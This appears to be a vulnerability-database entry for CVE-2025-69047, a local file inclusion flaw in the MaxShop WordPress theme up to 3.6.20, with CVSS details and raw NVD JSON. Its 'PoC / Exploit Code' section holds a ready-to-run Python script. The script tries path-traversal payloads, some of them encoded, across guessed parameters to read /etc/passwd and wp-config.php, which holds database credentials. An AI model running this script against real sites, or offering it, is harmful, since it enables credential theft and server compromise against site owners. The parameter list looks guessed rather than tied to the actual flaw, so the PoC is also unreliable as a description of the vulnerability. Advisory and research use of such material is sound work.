Security Vulnerability Report
中文
CVE-2025-69047 CVSS 8.1 HIGH

CVE-2025-69047

Published: 2026-01-22 17:16:18
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in magentech MaxShop sw_maxshop allows PHP Local File Inclusion.This issue affects MaxShop: from n/a through <= 3.6.20.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MaxShop <= 3.6.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-69047 PoC - MaxShop sw_maxshop Local File Inclusion # Target: WordPress site using MaxShop theme <= 3.6.20 def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in MaxShop theme Parameters: target_url: Base URL of the vulnerable WordPress site filename: Local file to read (default: /etc/passwd) Returns: Content of the requested file or error message """ # Common vulnerable parameters in MaxShop theme vulnerable_params = ['controller', 'action', 'file', 'page', 'template', 'mod'] for param in vulnerable_params: # Try different path traversal patterns payloads = [ f'../../../../../../{filename}', f'../../../../../../../../{filename}', f'....//....//....//....//{filename}', f'....//....//....//....//....//....//{filename}', f'%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{filename}', ] for payload in payloads: try: params = {param: payload} response = requests.get(target_url, params=params, timeout=10) # Check if file content was returned if response.status_code == 200: # Verify if it's actually file content if any(marker in response.text for marker in ['root:', 'daemon:', '/bin/', 'www-data']): print(f'[+] Successfully exploited via parameter: {param}') print(f'[+] Payload: {payload}') return response.text elif 'wp-config.php' in filename and 'DB_NAME' in response.text: print(f'[+] Successfully read wp-config.php') return response.text except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return None # Example usage if __name__ == '__main__': target = 'http://target-site.com/wp-content/themes/maxshop' # Read /etc/passwd result = exploit_lfi(target, '/etc/passwd') if result: print(result[:500]) # Print first 500 chars # Try to read wp-config.php wp_config = exploit_lfi(target, 'wp-content/wp-config.php') if wp_config: print('\n[+] wp-config.php content obtained!') print(wp_config[:500])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69047", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:18.053", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in magentech MaxShop sw_maxshop allows PHP Local File Inclusion.This issue affects MaxShop: from n/a through <= 3.6.20."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado del nombre de fichero para la declaración include/require en un programa PHP ('Inclusión remota de ficheros PHP') en magentech MaxShop sw_maxshop permite la inclusión local de ficheros PHP. Este problema afecta a MaxShop: desde n/a hasta &lt;= 3.6.20."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sw_maxshop/vulnerability/wordpress-maxshop-theme-3-6-20-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}